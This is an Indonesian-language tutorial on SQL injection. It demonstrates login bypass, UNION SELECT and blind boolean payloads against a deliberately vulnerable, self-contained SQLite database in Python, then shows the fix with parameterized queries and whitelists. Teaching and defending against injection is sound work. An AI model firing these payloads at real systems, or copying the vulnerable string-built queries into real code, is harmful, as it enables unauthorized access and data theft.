SQL injection adalah kerentanan yang terjadi ketika masukan dirangkai menjadi teks query, sehingga data dari luar dapat mengubah struktur perintah SQL yang dieksekusi server. Kerentanan ini termasuk kategori A05 Injection pada OWASP Top 10:2025 dan terus muncul pada aplikasi baru karena pola penggabungan string terasa mudah. Topik ini mereproduksi serangannya di atas SQLite melalui modul sqlite3 bawaan Python, mulai dari bypass login, varian UNION, varian blind boolean, hingga perbaikannya dengan query berparameter. Seluruh percobaan berjalan pada basis data dalam memori yang dibuat sendiri oleh skrip, sehingga tidak ada sistem lain yang tersentuh.
Query yang dirangkai dari string#
Akar kerentanannya sederhana. Query dibangun sebagai teks, dan masukan digabungkan langsung ke dalam teks tersebut, sehingga karakter yang punya makna pada SQL ikut menentukan strukturnya. Tanda kutip satu yang masuk dari luar menutup literal yang dibuka oleh aplikasi, kata OR berikutnya terbaca sebagai operator, dan baris komentar menghapus sisa perintah. Skrip berikut membangun fungsi login dengan f-string, menjalankannya secara normal, lalu menguji payload klasik ' OR '1'='1' --.
# login-rentan.py — query dirangkai dengan f-string, lalu diuji payload klasik.
import sqlite3
koneksi = sqlite3.connect(":memory:")
koneksi.execute("CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT)")
koneksi.executemany(
"INSERT INTO users (username, password) VALUES (?, ?)",
[("ali", "kunci123"), ("budi", "rahasia456"), ("citra", "sandi789")],
)
koneksi.commit()
def login(username, password):
# rentan: nilai masukan menjadi bagian dari struktur query
query = f"SELECT id, username FROM users WHERE username = '{username}' AND password = '{password}'"
return koneksi.execute(query).fetchall()
print("Login normal (ali, kunci123):")
print(login("ali", "kunci123"))
print()
payload = "' OR '1'='1' --"
print(f"Query yang terbentuk untuk payload {payload}:")
print(f"SELECT ... WHERE username = '{payload}' AND password = 'bebas'")
print()
print("Login dengan payload tersebut:")
print(login(payload, "bebas"))Login normal (ali, kunci123):
[(1, 'ali')]
Query yang terbentuk untuk payload ' OR '1'='1' --:
SELECT ... WHERE username = '' OR '1'='1' --' AND password = 'bebas'
Login dengan payload tersebut:
[(1, 'ali'), (2, 'budi'), (3, 'citra')]Payload bekerja dalam tiga langkah yang terlihat pada query yang tercetak. Tanda kutip pertama menutup literal username sehingga kata OR berikutnya terbaca sebagai bagian SQL, pasangan '1'='1' bernilai benar untuk setiap baris, dan tanda -- mengomentari pemeriksaan kata sandi. Bagian komentar justru krusial: tanpa itu, kondisi AND password = 'bebas' tetap dievaluasi, dan karena SQL mengutamakan AND di atas OR, hasilnya kosong. Hasil akhirnya tampak pada keluaran, yaitu login berhasil tanpa kredensial yang benar dan seluruh baris pengguna ikut terbaca. Celah yang sama menimpa setiap nilai yang dirangkai, termasuk kolom pencarian maupun kolom pengurutan, sehingga pemeriksaannya mencakup seluruh query yang dibangun dari masukan.
Varian UNION SELECT#
Varian UNION menambahkan tujuan baru pada kerentanan yang sama, yaitu membaca data dari tabel lain. Operator UNION menggabungkan hasil dua SELECT menjadi satu hasil, sehingga penyerang menambahkan SELECT miliknya melalui celah masukan. Fitur pencarian pengguna berikut menggunakan pola LIKE '%kata%' yang dirangkai dengan f-string, dan tanda kutip pada payload kembali menutup literal milik aplikasi.
# union-select.py — varian UNION SELECT membaca isi tabel lain.
import sqlite3
koneksi = sqlite3.connect(":memory:")
koneksi.execute("CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT)")
koneksi.execute("CREATE TABLE catatan_internal (id INTEGER PRIMARY KEY, isi TEXT)")
koneksi.executemany(
"INSERT INTO users (username) VALUES (?)",
[("ali",), ("budi",), ("citra",)],
)
koneksi.executemany(
"INSERT INTO catatan_internal (isi) VALUES (?)",
[("Panel admin berpindah ke jalur /panel-v2",), ("Kode pemulihan arsip: 8271-0093",)],
)
koneksi.commit()
def cari_pengguna(kata):
# rentan: kata kunci pencarian dirangkai langsung ke dalam query
query = f"SELECT username FROM users WHERE username LIKE '%{kata}%'"
return koneksi.execute(query).fetchall()
print("Pencarian normal (kata kunci: bud):")
print(cari_pengguna("bud"))
print()
payload = "' UNION SELECT isi FROM catatan_internal --"
print(f"Pencarian dengan payload {payload}:")
print(cari_pengguna(payload))Pencarian normal (kata kunci: bud):
[('budi',)]
Pencarian dengan payload ' UNION SELECT isi FROM catatan_internal --:
[('Kode pemulihan arsip: 8271-0093',), ('Panel admin berpindah ke jalur /panel-v2',), ('ali',), ('budi',), ('citra',)]Isi tabel catatan_internal ikut terbaca melalui fitur pencarian yang seharusnya hanya menampilkan username. Urutan barisnya pun menjadi terurut karena SQLite memproses UNION melalui langkah pengurutan yang sekaligus mengeliminasi duplikat. Klausa UNION menuntut jumlah kolom yang sama pada kedua sisi, dan penyerang menemukan jumlahnya dengan mencoba UNION SELECT NULL, NULL dan seterusnya hingga error hilang, sehingga penyesuaian jumlah kolom tidak pernah menjadi penghalang.
Varian ini juga menjadi alat rekonesans struktur basis data. Nama tabel dapat dicoba melalui katalog bawaan basis data, jumlah kolom ditemukan lewat NULL seperti di atas, dan nama kolom dicoba satu per satu, sehingga payload berikutnya disusun dengan informasi yang akurat. Seluruh langkah itu berjalan melalui fitur aplikasi yang sah tanpa menyentuh server basis data secara langsung, dan itulah yang membuatnya sulit dibedakan dari lalu lintas normal.
Varian blind boolean#
Apabila respons aplikasi tidak menampilkan data maupun pesan error basis data, kerentanan tetap dapat dieksploitasi melalui perbedaan perilaku. Varian blind boolean mengajukan pertanyaan berjawaban benar atau salah, lalu membaca jawabannya dari respons yang berbeda, misalnya halaman login berhasil atau gagal. Skrip berikut mengukur dua payload pada fungsi login yang sama dengan yang sebelumnya.
# blind-boolean.py — beda respons benar/salah sebagai sumber informasi.
import sqlite3
koneksi = sqlite3.connect(":memory:")
koneksi.execute("CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT)")
koneksi.executemany(
"INSERT INTO users (username, password) VALUES (?, ?)",
[("ali", "kunci123"), ("budi", "rahasia456"), ("citra", "sandi789")],
)
koneksi.commit()
def login(username, password):
# rentan: kedua nilai dirangkai langsung ke dalam query
query = f"SELECT id FROM users WHERE username = '{username}' AND password = '{password}'"
return len(koneksi.execute(query).fetchall()) > 0
payload_benar = "ali' --"
payload_salah = "ali' AND '1'='2' --"
print(f"Payload {payload_benar!r}: {login(payload_benar, 'apa saja')}")
print(f"Payload {payload_salah!r}: {login(payload_salah, 'apa saja')}")Payload "ali' --": True
Payload "ali' AND '1'='2' --": FalsePayload pertama menutup literal username lalu mengomentari pemeriksaan kata sandi, sehingga fungsi melaporkan berhasil. Payload kedua menambahkan kondisi '1'='2' yang selalu salah, sehingga fungsi melaporkan gagal. Perbedaan dua respons itulah yang digunakan sebagai alat tanya berjawab ya atau tidak, misalnya apakah username tertentu ada, apakah karakter pertama kata sandi lebih besar dari huruf tertentu, atau apakah sebuah tabel bernama tertentu tersedia. Satu pertanyaan memang hanya menghasilkan satu bit informasi, tetapi pengulangan otomatis menjadikan bit-bit itu cukup untuk membaca seluruh isi basis data. Apabila dua respons berhasil disamarkan sepenuhnya, varian berbasis waktu masih dapat membedakannya lewat durasi tunda yang disisipkan query.
Perbaikan: query berparameter#
Perbaikan strukturalnya adalah query berparameter (parameterized query), yaitu query yang struktur SQL-nya dikirim lebih dahulu dengan placeholder ?, kemudian nilai dikirim melalui jalur terpisah. Parser SQL menafsirkan struktur sebelum melihat nilai, sedangkan nilai hanya diperlakukan sebagai data dan tidak pernah diurai ulang. Skrip berikut menggunakan fungsi login yang sama dengan payload yang sama.
# login-berparameter.py — placeholder ? menjaga struktur query dan data tetap data.
import sqlite3
koneksi = sqlite3.connect(":memory:")
koneksi.execute("CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT)")
koneksi.executemany(
"INSERT INTO users (username, password) VALUES (?, ?)",
[("ali", "kunci123"), ("budi", "rahasia456"), ("citra", "sandi789")],
)
koneksi.commit()
def login(username, password):
query = "SELECT id, username FROM users WHERE username = ? AND password = ?"
return koneksi.execute(query, (username, password)).fetchall()
payload = "' OR '1'='1' --"
print("Login normal (ali, kunci123):")
print(login("ali", "kunci123"))
print()
print(f"Login dengan payload {payload}:")
print(login(payload, "bebas"))Login normal (ali, kunci123):
[(1, 'ali')]
Login dengan payload ' OR '1'='1' --:
[]Payload yang sama kini hanya berupa username yang tidak ada di tabel, sehingga hasilnya kosong. Pola ini berlaku di seluruh pustaka basis data modern, dari modul sqlite3 hingga driver PostgreSQL dan ORM di atasnya. Aturannya tunggal: nilai dinamis selalu masuk lewat parameter, sedangkan bagian query yang memang tidak dapat diparameterkan, misalnya nama tabel atau kolom pada ORDER BY, divalidasi terhadap daftar putih yang tetap. Pembahasan SQL sebagai bahasa query tersendiri ada di jalur SQL.
Kesalahan umum#
Kesalahan pertama adalah mencampur query berparameter dengan penggabungan string pada bagian lain, misalnya menyisipkan nama kolom ORDER BY dari masukan. Bagian yang dirangkai tetap rentan, sehingga semua potongan dinamis diinventarisasi dan divalidasi terhadap daftar putih. Kesalahan kedua adalah memercayakan ORM tanpa pengecualian, padahal metode pemanggilan ORM memang berparameter, sedangkan fasilitas query mentah di dalamnya kembali rentan apabila diisi string gabungan. Banyak kejadian nyata berasal dari satu query lama yang terlewat saat migrasi, sehingga penandaan pola penggabungan string pada tinjauan kode bernilai besar.
Kesalahan ketiga adalah menganggap penyembunyian pesan error sebagai perbaikan. Varian blind boolean justru tidak bergantung pada pesan error sama sekali, sehingga menutup pesan error hanya mempersempit salah satu varian. Pesan yang terperinci memang perlu diganti dengan pesan yang netral untuk kenyamanan pengguna. Perbaikan kerentanannya tetap berada pada query berparameter, sedangkan penanganan error yang rapi hanyalah kebersihan tambahan. Daftar putih di sini bukan formalitas, melainkan satu-satunya jawaban yang benar untuk bagian query yang memang tidak dapat diparameterkan.
Ringkasan#
- SQL injection terjadi karena masukan dirangkai ke teks query, sehingga data dapat mengubah struktur perintah SQL.
- Varian UNION membaca tabel lain dengan menambahkan SELECT milik penyerang, sedangkan varian blind boolean membaca informasi dari perbedaan respons benar dan salah.
- Perbaikannya adalah query berparameter dengan placeholder
?, karena struktur SQL dikirim lebih dahulu dan nilai hanya diperlakukan sebagai data. - Bagian query yang tidak dapat diparameterkan, seperti nama tabel, divalidasi terhadap daftar putih.
Referensi#
- SQL Injection Prevention Cheat Sheet — OWASP — Panduan pencegahan SQL injection dengan query berparameter dan daftar putih.
- SQL injection — PortSwigger Web Security Academy — Materi pembelajaran resmi tentang varian union, blind, dan tekniknya.